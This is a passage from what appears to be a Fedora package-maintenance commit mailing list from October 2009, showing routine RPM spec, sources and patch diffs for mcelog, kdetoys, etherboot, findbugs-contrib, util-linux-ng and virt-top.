+Patch0:         mcelog-0.9-pre1-record-length.patch
+URL:            http://www.kernel.org/pub/linux/utils/cpu/mce/
 Buildroot:      %{_tmppath}/%{name}-%{version}-root
 ExclusiveArch:	x86_64
 
@@ -15,7 +16,8 @@ mcelog is a daemon that collects and dec
 on x86-64 machines.
 
 %prep
-%setup -q
+%setup -q -n %{name}-0.9-pre1
+%patch0 -p1 -b .record-length
 
 %build
 rm -rf %{buildroot}
@@ -45,6 +47,11 @@ rm -rf %{buildroot}
 %attr(0644,root,root) %{_mandir}/*/*
 
 %changelog
+* Mon Oct 05 2009 Orion Poplawski <orion at cora.nwra.com> - 1:0.9pre1-0.1
+- Update to 0.9pre1
+- Update URL
+- Add patch to update mcelog kernel record length (bug #507026)
+
 * Tue Aug 04 2009 Adam Jackson <ajax at redhat.com> 0.7-5
 - Fix %%install for new buildroot cleanout.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mcelog/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	17 May 2006 20:15:11 -0000	1.6
+++ sources	5 Oct 2009 15:12:36 -0000	1.7
@@ -1 +1 @@
-21ba1a4d748c71c28f212ea57a7be7a1  mcelog-0.7.tar.gz
+7ba2ef16429641e013bceb8b138762af  mcelog-0.9pre1.tar.gz



From than at fedoraproject.org  Mon Oct  5 15:16:06 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 15:16:06 +0000 (UTC)
Subject: rpms/kdetoys/devel .cvsignore, 1.41, 1.42 kdetoys.spec, 1.59,
	1.60 sources, 1.38, 1.39
Message-ID: <20091005151606.6450511C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdetoys/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18198

Modified Files:
	.cvsignore kdetoys.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/devel/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	1 Sep 2009 18:29:48 -0000	1.41
+++ .cvsignore	5 Oct 2009 15:16:06 -0000	1.42
@@ -1 +1,2 @@
 kdetoys-4.3.1.tar.bz2
+kdetoys-4.3.2.tar.bz2


Index: kdetoys.spec
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/devel/kdetoys.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- kdetoys.spec	28 Aug 2009 16:19:32 -0000	1.59
+++ kdetoys.spec	5 Oct 2009 15:16:06 -0000	1.60
@@ -1,7 +1,7 @@
 Name:           kdetoys
 Summary:        K Desktop Environment - Toys and Amusements
 Epoch:          7
-Version:        4.3.1
+Version:        4.3.2
 Release:        1%{?dist}
 
 License:        GPLv2
@@ -86,6 +86,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdetoys/devel/sources,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- sources	28 Aug 2009 16:19:32 -0000	1.38
+++ sources	5 Oct 2009 15:16:06 -0000	1.39
@@ -1 +1 @@
-0cd0bba2f6265751537bf7bdaeacb518  kdetoys-4.3.1.tar.bz2
+a4496c504940f076997e553f257e4b3d  kdetoys-4.3.2.tar.bz2



From markmc at fedoraproject.org  Mon Oct  5 15:17:45 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 15:17:45 +0000 (UTC)
Subject: rpms/etherboot/devel etherboot.spec,1.19,1.20
Message-ID: <20091005151745.2DF0411C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/etherboot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18681

Modified Files:
	etherboot.spec 
Log Message:
8209 vs. 8029 typo


Index: etherboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etherboot/devel/etherboot.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- etherboot.spec	5 Oct 2009 15:03:48 -0000	1.19
+++ etherboot.spec	5 Oct 2009 15:17:44 -0000	1.20
@@ -150,7 +150,7 @@ popd
 # remove from the main rom list and add them to kvm.list
 # ne is included only for compatibility with earlier versions of qemu
 for fmt in rom zrom;do
-	for rom in rtl8209 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
+	for rom in rtl8029 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
 		sed -i -e "/\/${rom}.${fmt}/d" ${fmt}.list
 		echo %{_datadir}/%{name}/${rom}.${fmt} >> kvm.${fmt}.list
 	done
@@ -185,7 +185,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-18
-- Include rtl8209 in etherboot-zroms-qemu (#526781)
+- Include rtl8029 in etherboot-zroms-qemu (#526781)
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.4.4-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From markmc at fedoraproject.org  Mon Oct  5 15:18:37 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 15:18:37 +0000 (UTC)
Subject: rpms/etherboot/F-12 etherboot.spec,1.19,1.20
Message-ID: <20091005151837.E142811C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/etherboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19028

Modified Files:
	etherboot.spec 
Log Message:
8209 vs. 8029 typo


Index: etherboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etherboot/F-12/etherboot.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- etherboot.spec	5 Oct 2009 15:04:26 -0000	1.19
+++ etherboot.spec	5 Oct 2009 15:18:36 -0000	1.20
@@ -150,7 +150,7 @@ popd
 # remove from the main rom list and add them to kvm.list
 # ne is included only for compatibility with earlier versions of qemu
 for fmt in rom zrom;do
-	for rom in rtl8209 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
+	for rom in rtl8029 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
 		sed -i -e "/\/${rom}.${fmt}/d" ${fmt}.list
 		echo %{_datadir}/%{name}/${rom}.${fmt} >> kvm.${fmt}.list
 	done
@@ -185,7 +185,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-18
-- Include rtl8209 in etherboot-zroms-qemu (#526781)
+- Include rtl8029 in etherboot-zroms-qemu (#526781)
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.4.4-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From markmc at fedoraproject.org  Mon Oct  5 15:19:34 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon,  5 Oct 2009 15:19:34 +0000 (UTC)
Subject: rpms/etherboot/F-11 etherboot.spec,1.18,1.19
Message-ID: <20091005151934.25AA511C00DB@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/etherboot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19742

Modified Files:
	etherboot.spec 
Log Message:
8209 vs. 8029 typo


Index: etherboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etherboot/F-11/etherboot.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- etherboot.spec	5 Oct 2009 15:05:18 -0000	1.18
+++ etherboot.spec	5 Oct 2009 15:19:33 -0000	1.19
@@ -150,7 +150,7 @@ popd
 # remove from the main rom list and add them to kvm.list
 # ne is included only for compatibility with earlier versions of qemu
 for fmt in rom zrom;do
-	for rom in rtl8209 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
+	for rom in rtl8029 ne e1000-82542 pcnet32 rtl8139 virtio-net;do
 		sed -i -e "/\/${rom}.${fmt}/d" ${fmt}.list
 		echo %{_datadir}/%{name}/${rom}.${fmt} >> kvm.${fmt}.list
 	done
@@ -185,7 +185,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-17
-- Include rtl8209 in etherboot-zroms-qemu (#526781)
+- Include rtl8029 in etherboot-zroms-qemu (#526781)
 
 * Tue Jun 23 2009 Mark McLoughlin <markmc at redhat.com> - 5.4.4-16
 - Fix e1000 PXE boot - caused by compiler optimization (bug #507391)



From jjames at fedoraproject.org  Mon Oct  5 15:19:53 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Mon,  5 Oct 2009 15:19:53 +0000 (UTC)
Subject: rpms/findbugs-contrib/F-12 findbugs-contrib-build.patch, NONE,
	1.1 .cvsignore, 1.2, 1.3 findbugs-contrib.spec, 1.5, 1.6 sources,
	1.2, 1.3 findbugs-contrib-3.8.1-build.patch, 1.1, NONE
Message-ID: <20091005151953.D2AFD11C00DB@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/findbugs-contrib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19716/F-12

Modified Files:
	.cvsignore findbugs-contrib.spec sources 
Added Files:
	findbugs-contrib-build.patch 
Removed Files:
	findbugs-contrib-3.8.1-build.patch 
Log Message:
* Mon Oct  5 2009 Jerry James <loganjerry at gmail.com> - 4.0.0-1
- Update to 4.0.0


findbugs-contrib-build.patch:
 build.properties |    2 +-
 build.xml        |   13 +++++++------
 2 files changed, 8 insertions(+), 7 deletions(-)

--- NEW FILE findbugs-contrib-build.patch ---
diff -dur findbugs-contrib-4.0.0.ORIG/build.properties findbugs-contrib-4.0.0/build.properties
--- findbugs-contrib-4.0.0.ORIG/build.properties	2009-08-14 01:20:46.000000000 -0600
+++ findbugs-contrib-4.0.0/build.properties	2009-10-05 09:03:09.949639145 -0600
@@ -1 +1 @@
-jdk14.home=C:/j2sdk1.4.2_13
\ No newline at end of file
+jdk14.home=/etc/alternatives/java
diff -dur findbugs-contrib-4.0.0.ORIG/build.xml findbugs-contrib-4.0.0/build.xml
--- findbugs-contrib-4.0.0.ORIG/build.xml	2009-09-12 18:49:36.000000000 -0600
+++ findbugs-contrib-4.0.0/build.xml	2009-10-05 09:04:54.211435432 -0600
@@ -7,6 +7,7 @@
 	
 	<property file="build.properties"/>
 	
+	<property name="system.dir" value="/usr/share/java/"/>
 	<property name="src.dir" value="${basedir}/src"/>
 	<property name="classes.dir" value="${basedir}/classes"/>
 	<property name="lib.dir" value="${basedir}/lib"/>
@@ -40,14 +41,14 @@
 		<mkdir dir="${classes.dir}"/>
 		<mkdir dir="${javadoc.dir}"/>
 		<path id="fb-contrib.classpath">
-			<pathelement location="${lib.dir}/findbugs.jar"/>
-			<pathelement location="${lib.dir}/bcel.jar"/>
+			<pathelement location="${system.dir}/findbugs.jar"/>
+			<pathelement location="${system.dir}/bcel.jar"/>
 		</path>
 		<path id="fb-contrib.samples.classpath">
-			<pathelement location="${sampleslib.dir}/jsp-api.jar"/>
-			<pathelement location="${sampleslib.dir}/junit.jar"/>
-			<pathelement location="${sampleslib.dir}/servlet-api.jar"/>
-			<pathelement location="${sampleslib.dir}/log4j.jar"/>
+			<pathelement location="${system.dir}/jsp.jar"/>
+			<pathelement location="${system.dir}/junit4.jar"/>
+			<pathelement location="${system.dir}/servlet.jar"/>
+			<pathelement location="${system.dir}/log4j.jar"/>
 		</path>
 		<mkdir dir="${classes.dir}/com"/>
 		<mkdir dir="${classes.dir}/com/mebigfatguy"/>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/findbugs-contrib/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	6 Jun 2009 04:07:38 -0000	1.2
+++ .cvsignore	5 Oct 2009 15:19:52 -0000	1.3
@@ -1 +1 @@
-fb-contrib-src-3.8.1.zip
+fb-contrib-src-4.0.0.zip


Index: findbugs-contrib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/findbugs-contrib/F-12/findbugs-contrib.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- findbugs-contrib.spec	26 Aug 2009 14:08:45 -0000	1.5
+++ findbugs-contrib.spec	5 Oct 2009 15:19:53 -0000	1.6
@@ -5,8 +5,8 @@
 %global eclipse_plugin_dir  %{eclipse_plugins_dir}/edu.umd.cs.findbugs.plugin.eclipse_%{eclipse_plugin_vers}.%{eclipse_plugin_date}
 
 Name:           findbugs-contrib
-Version:        3.8.1
-Release:        4%{?dist}
+Version:        4.0.0
+Release:        1%{?dist}
 Summary:        Extra findbugs detectors
 
 Group:          Development/Languages
@@ -16,7 +16,7 @@ Source0:        http://downloads.sourcef
 # This patch has not been submitted upstream, as it contains Fedora-specific
 # changes.  It looks in /usr/share/java for jar files at both compile time and
 # run time, instead of using the jars in lib/.
-Patch0:         findbugs-contrib-3.8.1-build.patch
+Patch0:         findbugs-contrib-build.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -66,10 +66,6 @@ rm -f samples/*.class samples/lib/*.jar
 # Remove the duplicated sources (!)
 rm -fr com
 
-# Fix DOS line endings
-sed -i -e 's/\r//g' license.txt
-find samples -type f | xargs sed -i -e 's/\r//g'
-
 %build
 ant build
 ant javadoc
@@ -112,6 +108,9 @@ rm -rf $RPM_BUILD_ROOT
 %{eclipse_plugin_dir}/fb-contrib-%{version}.jar
 
 %changelog
+* Mon Oct  5 2009 Jerry James <loganjerry at gmail.com> - 4.0.0-1
+- Update to 4.0.0
+
 * Wed Aug 26 2009 Jerry James <loganjerry at gmail.com> - 3.8.1-4
 - Rebuilt for findbugs 1.3.9
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/findbugs-contrib/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Jun 2009 04:07:38 -0000	1.2
+++ sources	5 Oct 2009 15:19:53 -0000	1.3
@@ -1 +1 @@
-66cd1813ee1d4b12321b43435694e5c1  fb-contrib-src-3.8.1.zip
+d5d5dc33b5670400f62b947bfa978f67  fb-contrib-src-4.0.0.zip


--- findbugs-contrib-3.8.1-build.patch DELETED ---



From jjames at fedoraproject.org  Mon Oct  5 15:19:54 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Mon,  5 Oct 2009 15:19:54 +0000 (UTC)
Subject: rpms/findbugs-contrib/devel findbugs-contrib-build.patch, NONE,
	1.1 .cvsignore, 1.2, 1.3 findbugs-contrib.spec, 1.5, 1.6 sources,
	1.2, 1.3 findbugs-contrib-3.8.1-build.patch, 1.1, NONE
Message-ID: <20091005151954.4671A11C00DB@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/findbugs-contrib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19716/devel

Modified Files:
	.cvsignore findbugs-contrib.spec sources 
Added Files:
	findbugs-contrib-build.patch 
Removed Files:
	findbugs-contrib-3.8.1-build.patch 
Log Message:
* Mon Oct  5 2009 Jerry James <loganjerry at gmail.com> - 4.0.0-1
- Update to 4.0.0


findbugs-contrib-build.patch:
 build.properties |    2 +-
 build.xml        |   13 +++++++------
 2 files changed, 8 insertions(+), 7 deletions(-)

--- NEW FILE findbugs-contrib-build.patch ---
diff -dur findbugs-contrib-4.0.0.ORIG/build.properties findbugs-contrib-4.0.0/build.properties
--- findbugs-contrib-4.0.0.ORIG/build.properties	2009-08-14 01:20:46.000000000 -0600
+++ findbugs-contrib-4.0.0/build.properties	2009-10-05 09:03:09.949639145 -0600
@@ -1 +1 @@
-jdk14.home=C:/j2sdk1.4.2_13
\ No newline at end of file
+jdk14.home=/etc/alternatives/java
diff -dur findbugs-contrib-4.0.0.ORIG/build.xml findbugs-contrib-4.0.0/build.xml
--- findbugs-contrib-4.0.0.ORIG/build.xml	2009-09-12 18:49:36.000000000 -0600
+++ findbugs-contrib-4.0.0/build.xml	2009-10-05 09:04:54.211435432 -0600
@@ -7,6 +7,7 @@
 	
 	<property file="build.properties"/>
 	
+	<property name="system.dir" value="/usr/share/java/"/>
 	<property name="src.dir" value="${basedir}/src"/>
 	<property name="classes.dir" value="${basedir}/classes"/>
 	<property name="lib.dir" value="${basedir}/lib"/>
@@ -40,14 +41,14 @@
 		<mkdir dir="${classes.dir}"/>
 		<mkdir dir="${javadoc.dir}"/>
 		<path id="fb-contrib.classpath">
-			<pathelement location="${lib.dir}/findbugs.jar"/>
-			<pathelement location="${lib.dir}/bcel.jar"/>
+			<pathelement location="${system.dir}/findbugs.jar"/>
+			<pathelement location="${system.dir}/bcel.jar"/>
 		</path>
 		<path id="fb-contrib.samples.classpath">
-			<pathelement location="${sampleslib.dir}/jsp-api.jar"/>
-			<pathelement location="${sampleslib.dir}/junit.jar"/>
-			<pathelement location="${sampleslib.dir}/servlet-api.jar"/>
-			<pathelement location="${sampleslib.dir}/log4j.jar"/>
+			<pathelement location="${system.dir}/jsp.jar"/>
+			<pathelement location="${system.dir}/junit4.jar"/>
+			<pathelement location="${system.dir}/servlet.jar"/>
+			<pathelement location="${system.dir}/log4j.jar"/>
 		</path>
 		<mkdir dir="${classes.dir}/com"/>
 		<mkdir dir="${classes.dir}/com/mebigfatguy"/>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/findbugs-contrib/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	6 Jun 2009 04:07:38 -0000	1.2
+++ .cvsignore	5 Oct 2009 15:19:53 -0000	1.3
@@ -1 +1 @@
-fb-contrib-src-3.8.1.zip
+fb-contrib-src-4.0.0.zip


Index: findbugs-contrib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/findbugs-contrib/devel/findbugs-contrib.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- findbugs-contrib.spec	26 Aug 2009 14:08:45 -0000	1.5
+++ findbugs-contrib.spec	5 Oct 2009 15:19:54 -0000	1.6
@@ -5,8 +5,8 @@
 %global eclipse_plugin_dir  %{eclipse_plugins_dir}/edu.umd.cs.findbugs.plugin.eclipse_%{eclipse_plugin_vers}.%{eclipse_plugin_date}
 
 Name:           findbugs-contrib
-Version:        3.8.1
-Release:        4%{?dist}
+Version:        4.0.0
+Release:        1%{?dist}
 Summary:        Extra findbugs detectors
 
 Group:          Development/Languages
@@ -16,7 +16,7 @@ Source0:        http://downloads.sourcef
 # This patch has not been submitted upstream, as it contains Fedora-specific
 # changes.  It looks in /usr/share/java for jar files at both compile time and
 # run time, instead of using the jars in lib/.
-Patch0:         findbugs-contrib-3.8.1-build.patch
+Patch0:         findbugs-contrib-build.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -66,10 +66,6 @@ rm -f samples/*.class samples/lib/*.jar
 # Remove the duplicated sources (!)
 rm -fr com
 
-# Fix DOS line endings
-sed -i -e 's/\r//g' license.txt
-find samples -type f | xargs sed -i -e 's/\r//g'
-
 %build
 ant build
 ant javadoc
@@ -112,6 +108,9 @@ rm -rf $RPM_BUILD_ROOT
 %{eclipse_plugin_dir}/fb-contrib-%{version}.jar
 
 %changelog
+* Mon Oct  5 2009 Jerry James <loganjerry at gmail.com> - 4.0.0-1
+- Update to 4.0.0
+
 * Wed Aug 26 2009 Jerry James <loganjerry at gmail.com> - 3.8.1-4
 - Rebuilt for findbugs 1.3.9
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/findbugs-contrib/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Jun 2009 04:07:38 -0000	1.2
+++ sources	5 Oct 2009 15:19:54 -0000	1.3
@@ -1 +1 @@
-66cd1813ee1d4b12321b43435694e5c1  fb-contrib-src-3.8.1.zip
+d5d5dc33b5670400f62b947bfa978f67  fb-contrib-src-4.0.0.zip


--- findbugs-contrib-3.8.1-build.patch DELETED ---



From kzak at fedoraproject.org  Mon Oct  5 15:22:39 2009
From: kzak at fedoraproject.org (kzak)
Date: Mon,  5 Oct 2009 15:22:39 +0000 (UTC)
Subject: rpms/util-linux-ng/F-12 util-linux-ng-2.16-switchroot-tty.patch,
	NONE, 1.1 util-linux-ng.spec, 1.61, 1.62
Message-ID: <20091005152239.EF20511C00DB@cvs1.fedora.phx.redhat.com>

Author: kzak

Update of /cvs/pkgs/rpms/util-linux-ng/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21098

Modified Files:
	util-linux-ng.spec 
Added Files:
	util-linux-ng-2.16-switchroot-tty.patch 
Log Message:
* Mon Oct  5 2009 Karel Zak <kzak at redhat.com> 2.16-10.2
- fix #519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device


util-linux-ng-2.16-switchroot-tty.patch:
 switch_root.c |    7 -------
 1 file changed, 7 deletions(-)

--- NEW FILE util-linux-ng-2.16-switchroot-tty.patch ---
diff -up util-linux-ng-2.16/sys-utils/switch_root.c.kzak util-linux-ng-2.16/sys-utils/switch_root.c
--- util-linux-ng-2.16/sys-utils/switch_root.c.kzak	2009-10-01 21:01:31.000000000 +0200
+++ util-linux-ng-2.16/sys-utils/switch_root.c	2009-10-01 21:01:52.000000000 +0200
@@ -267,13 +267,6 @@ int main(int argc, char *argv[])
 	if (access(init, X_OK))
 		warn("cannot access %s", init);
 
-	/* get session leader */
-	setsid();
-
-	/* set controlling terminal */
-	if (ioctl (0, TIOCSCTTY, 1))
-		warn("failed to TIOCSCTTY");
-
 	execv(init, initargs);
 	err(EXIT_FAILURE, "failed to execute %s", init);
 }


Index: util-linux-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/F-12/util-linux-ng.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- util-linux-ng.spec	2 Oct 2009 19:24:34 -0000	1.61
+++ util-linux-ng.spec	5 Oct 2009 15:22:39 -0000	1.62
@@ -2,7 +2,7 @@
 Summary: A collection of basic system utilities
 Name: util-linux-ng
 Version: 2.16
-Release: 10.1%{?dist}
+Release: 10.2%{?dist}
 License: GPLv2 and GPLv2+ and BSD with advertising and Public Domain
 Group: System Environment/Base
 URL: ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng
@@ -116,6 +116,8 @@ Patch11: util-linux-ng-2.14-sfdisk-dump.
 Patch12: util-linux-ng-2.16-blkid-swsuspend.patch
 # 514413 -  Extra spaces at the end of CD mount point
 Patch13: util-linux-ng-2.16-libblkid-joliet.patch
+# 519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device
+Patch14: util-linux-ng-2.16-switchroot-tty.patch
 
 %description
 The util-linux-ng package contains a large variety of low-level system
@@ -215,6 +217,7 @@ cp %{SOURCE8} %{SOURCE9} .
 %patch11 -p1
 %patch12 -p1
 %patch13 -p1
+%patch14 -p1
 
 %build
 unset LINGUAS || :
@@ -725,6 +728,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Karel Zak <kzak at redhat.com> 2.16-10.2
+- fix #519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device
+
 * Fri Oct  2 2009 Karel Zak <kzak at redhat.com> 2.16-10.1
 - #514413 - Extra spaces at the end of CD mount point
 



From rjones at fedoraproject.org  Mon Oct  5 15:26:51 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon,  5 Oct 2009 15:26:51 +0000 (UTC)
Subject: rpms/virt-top/devel virt-top-1.0.4-bogus-ja-plurals.patch, NONE,
	1.1 .cvsignore, 1.3, 1.4 sources, 1.4,
	1.5 virt-top-1.0.3-bogus-zh_CN-plurals.patch, 1.1,
	1.2 virt-top.spec, 1.7, 1.8
Message-ID: <20091005152651.1FEBB11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/virt-top/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23079

Modified Files:
	.cvsignore sources virt-top-1.0.3-bogus-zh_CN-plurals.patch 
	virt-top.spec 
Added Files:
	virt-top-1.0.4-bogus-ja-plurals.patch 
Log Message:
* Mon Oct  5 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-1
- New upstream release 1.0.4.
- Includes new translations (RHBZ#493799).
- Overall hardware memory is now displayed in CSV file (RHBZ#521785).
- Several fixes to Japanese support (RHBZ#508197).
- Japanese PO file also has bogus plural forms.



virt-top-1.0.4-bogus-ja-plurals.patch:
 ja.po |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE virt-top-1.0.4-bogus-ja-plurals.patch ---
diff -ur virt-top-1.0.4.orig/po/ja.po virt-top-1.0.4/po/ja.po
--- virt-top-1.0.4.orig/po/ja.po	2009-10-05 16:24:06.295900599 +0100
+++ virt-top-1.0.4/po/ja.po	2009-10-05 16:24:49.296650985 +0100
@@ -10,7 +10,7 @@
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: Plural-Forms: nplurals=1; plural=0;\n\n"
+"Plural-Forms: nplurals=1; plural=0;\n\n"
 "X-Generator: KBabel 1.11.4\n"
 
 #: ../virt-top/virt_top.ml:1492


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Oct 2008 09:29:56 -0000	1.3
+++ .cvsignore	5 Oct 2009 15:26:50 -0000	1.4
@@ -1,2 +1 @@
-virt-top-1.0.1.tar.gz
-virt-top-1.0.3.tar.gz
+virt-top-1.0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	21 Oct 2008 09:59:18 -0000	1.4
+++ sources	5 Oct 2009 15:26:50 -0000	1.5
@@ -1 +1 @@
-18662bfbaa13c314ed07734cb1f5913e  virt-top-1.0.3.tar.gz
+491929219b5b49b4e502a1643599be95  virt-top-1.0.4.tar.gz

virt-top-1.0.3-bogus-zh_CN-plurals.patch:
 zh_CN.po |    1 -
 1 file changed, 1 deletion(-)

Index: virt-top-1.0.3-bogus-zh_CN-plurals.patch
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/devel/virt-top-1.0.3-bogus-zh_CN-plurals.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- virt-top-1.0.3-bogus-zh_CN-plurals.patch	21 Oct 2008 09:59:18 -0000	1.1
+++ virt-top-1.0.3-bogus-zh_CN-plurals.patch	5 Oct 2009 15:26:50 -0000	1.2
@@ -7,4 +7,4 @@
 -"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
  "X-Generator: KBabel 1.11.4\n"
  
- #: ../virt-top/virt_top.ml:1490
+ #: ../virt-top/virt_top.ml:1492


Index: virt-top.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virt-top/devel/virt-top.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- virt-top.spec	27 Jul 2009 06:55:36 -0000	1.7
+++ virt-top.spec	5 Oct 2009 15:26:50 -0000	1.8
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           virt-top
-Version:        1.0.3
-Release:        5%{?dist}
+Version:        1.0.4
+Release:        1%{?dist}
 Summary:        Utility like top(1) for displaying virtualization stats
 
 Group:          Development/Libraries
@@ -14,11 +14,13 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 ExcludeArch:    sparc64 s390 s390x
 
 Patch0:         virt-top-1.0.3-bogus-zh_CN-plurals.patch
+Patch1:         virt-top-1.0.4-bogus-ja-plurals.patch
 
 BuildRequires:  ocaml >= 3.10.2
 BuildRequires:  ocaml-ocamldoc
 BuildRequires:  ocaml-findlib-devel
-BuildRequires:  ocaml-curses-devel
+# Need the ncurses / ncursesw (--enable-widec) fix.
+BuildRequires:  ocaml-curses-devel >= 1.0.3-7
 BuildRequires:  ocaml-extlib-devel
 BuildRequires:  ocaml-xml-light-devel
 BuildRequires:  ocaml-csv-devel
@@ -37,9 +39,6 @@ BuildRequires:  libvirt-devel
 BuildRequires:  perl
 BuildRequires:  gawk
 
-#%define _use_internal_dependency_generator 0
-#%define __find_requires /usr/lib/rpm/ocaml-find-requires.sh
-#%define __find_provides /usr/lib/rpm/ocaml-find-provides.sh
 
 %description
 virt-top is a 'top(1)'-like utility for showing stats of virtualized
@@ -53,6 +52,7 @@ different virtualization systems.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 chmod -x COPYING
 
 
@@ -99,6 +99,13 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.4-1
+- New upstream release 1.0.4.
+- Includes new translations (RHBZ#493799).
+- Overall hardware memory is now displayed in CSV file (RHBZ#521785).
+- Several fixes to Japanese support (RHBZ#508197).
